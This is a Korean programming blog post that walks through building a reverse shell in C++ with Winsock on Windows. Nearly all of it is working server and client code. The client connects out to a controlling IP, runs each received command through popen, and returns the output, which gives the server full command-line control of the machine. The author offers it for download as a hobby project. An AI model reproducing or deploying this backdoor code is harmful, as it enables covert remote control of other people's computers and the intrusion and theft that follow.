🧼C, C++/네트워크

리버스 쉘 Reverse Shell C++

Mawile 2020. 10. 5.
728x90

최신글

https://mawile.tistory.com/219

 

해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습

🔥 소개 안녕하세요! 이번에는 해킹도구 개발관련 카테고리가 개설된 후, 관련내용에 대한 첫번째 포스팅입니다! 이번 시간에는 리버스쉘(Reverse shell)에 관하여 포스팅하겠습니다. 🔥 리버스쉘

mawile.tistory.com


시작하기앞서서 사용한 운영체제는 Windows10이며,

사용한 IDE는 DevCpp이고, 사용한 언어는 C++11입니다.

 

 

안녕하세요~~~

이번에는 소켓을 이용한 리버스 쉘을 만들어보겠습니다!


[[[   리버스 쉘이란?   ]]]

쉽게말해서 서버측에서 클라이언트측에 속하는 PC의

cmd(명령 프롬프트)를 자유자제로 쓸수있는겁니다.


[[[   참고자료   ]]]

popen함수

 

linux man page : popen - 프로세스 입출력

popen 은 command 를 shell(:12)을 가동시켜서 열고 pipe(2)로 연결한다. pipe 는 기본적으로 단방향으로만 정의 되어 있음으로, 읽기전용 혹은 쓰기전용 으로만 열수 있으며, type 로 정의된다. popen 은 comman

www.joinc.co.kr

소켓 기본틀

 

소켓 기본틀

[[[  서버 기본 틀  ]]] #include #include using namespace std; #define PACKET_SIZE 1024 SOCKET skt,client_sock; int main(){ WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa); skt = socket(PF_INET,SOCK_S..

mawile.tistory.com


소켓 기본틀은 저가 위에 첨부해논 두번째참고자료의 틀을 그대로쓸겁니다!

[[[   기본틀(서버)   ]]]

#include <iostream>
#include <winsock2.h>
using namespace std;

int PORT = 4444;
#define PACKET_SIZE 1024

int main(){
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt,SOMAXCONN);

SOCKADDR_IN client = {};
int client_size = sizeof(client);
ZeroMemory(&client,client_size);
SOCKET client_sock = accept(skt,(SOCKADDR*)&client,&client_size);



closesocket(client_sock);
closesocket(skt);
WSACleanup();
}

[[[   기본틀(클라이언트)   ]]]

#include <iostream>
#include <winsock2.h>
using namespace std;

int PORT = 4444;
#define PACKET_SIZE 1024
string SERVER_IP="127.0.0.1";

int main(){
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(SERVER_IP.c_str());

while(1)
if(!connect(skt, (SOCKADDR*)&addr,sizeof(addr))) break;



closesocket(skt);
WSACleanup();
}

[[[   리버스쉘(서버)   ]]]

string str;
char buf[PACKET_SIZE],rev[10000];
char titleset[100];
sprintf(titleset, "클라이언트접속: %s", inet_ntoa(client.sin_addr));
//클라이언트 접속감지용
SetConsoleTitle(titleset);
while(1){
ZeroMemory(buf,PACKET_SIZE); //메모리비우기
ZeroMemory(rev,10000); //메모리비우기
cout << "Shell>>";
getline(cin,str);
//cin>>으로안하는이유: 띄어쓰기를 포함하기위함
for(int i=0;i<str.size();i++) buf[i] = str[i];
//string -> char[]로 변환
send(client_sock,buf,sizeof(buf),0); //명령어 전송
recv(client_sock,rev,10000,0); //명령어결과물 받기
cout << rev << endl; //출력
}

[[[  리버스쉘(클라이언트)   ]]]

char buff[PACKET_SIZE] = {0},rev[10000] = {0};
cout << "서버에 접속함(IP >> " << inet_ntoa(addr.sin_addr) << ")" << endl;
//서버접속 감지용
while(!WSAGetLastError()){
system("cls");
ZeroMemory(buff,PACKET_SIZE); //메모리비우기
ZeroMemory(rev,10000); //메모리비우기
recv(skt,buff,PACKET_SIZE,0); //실행할 명령어받기
FILE *fp = popen(buff, "r"); //popen()함수로 명령어 출력결과를 읽기
while(fgets(buff, PACKET_SIZE, fp) != NULL) strcat(rev,buff);
//fp의 내용을 한줄한줄 끝날때까지 읽어와 buff의내용에 한줄한줄저장하면서 rev에 추가
pclose(fp);
send(skt,rev,sizeof(rev),0); //명령어 결과물 전송 (킹조건 sizeof()로해야합니다)
}

 

생각보다 단순하죠?

저도 예전부터 리버스쉘을 구현하고싶었는데

다른방식으로 구현하는방법도있지만 저는 이 방법이 저가 직접 만들어낸 방법이기도하고

저가 마스터(?)한 방법이기때문에 앞으로도 이방법만 쭉쓸겁니다!

 

파일은 깃허브로 밑에다가 첨부해놓겠습니다

감사합니다!


다운로드

 

DRAGONPROCESS/Reverse-Shell

Contribute to DRAGONPROCESS/Reverse-Shell development by creating an account on GitHub.

github.com

 

 

728x90

'🧼C, C++ > 네트워크' 카테고리의 다른 글

소켓 파일전송 C++ #1  (0) 2020.10.06
소켓 기본 틀 #1  (0) 2020.10.05
실시간 채팅 프로그램 C++ TCP  (6) 2020.10.01
백도어 만들기 C++ TCP  (0) 2020.09.26
소켓 데이터 C++ TCP  (0) 2020.09.24

댓글